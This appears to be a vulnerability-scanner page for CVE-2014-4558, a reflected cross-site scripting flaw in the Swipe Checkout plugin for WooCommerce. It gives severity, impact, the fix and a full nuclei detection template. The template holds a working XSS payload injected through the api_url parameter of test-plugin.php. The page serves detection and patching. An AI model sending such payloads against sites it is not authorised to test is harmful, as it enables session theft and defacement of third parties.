WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.2%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to WooCommerce Swipe plugin version 2.7.2 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/swipehq-payment-gateway-woocommerce/"
Send: GET {{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/scr…
Positive when: contains "'><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4558 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4558

info:
  name: WooCommerce Swipe <= 2.7.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in test-plugin.php in the Swipe Checkout for WooCommerce plugin 2.7.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the api_url parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to WooCommerce Swipe plugin version 2.7.2 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/37d7936a-165f-4c37-84a6-7ba5b59a0301
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4558
    - http://codevigilant.com/disclosure/wp-plugin-swipehq-payment-gateway-woocommerce-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4558
    cwe-id: CWE-79
    epss-score: 0.0421
    epss-percentile: 0.91056
    cpe: cpe:2.3:a:cybercompany:swipehq-payment-gateway-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cybercompany
    product: "swipehq-payment-gateway-woocommerce"
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,woocommerce,unauth,cybercompany,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/swipehq-payment-gateway-woocommerce/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/swipehq-payment-gateway-woocommerce/test-plugin.php?api_url=api_url%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E "

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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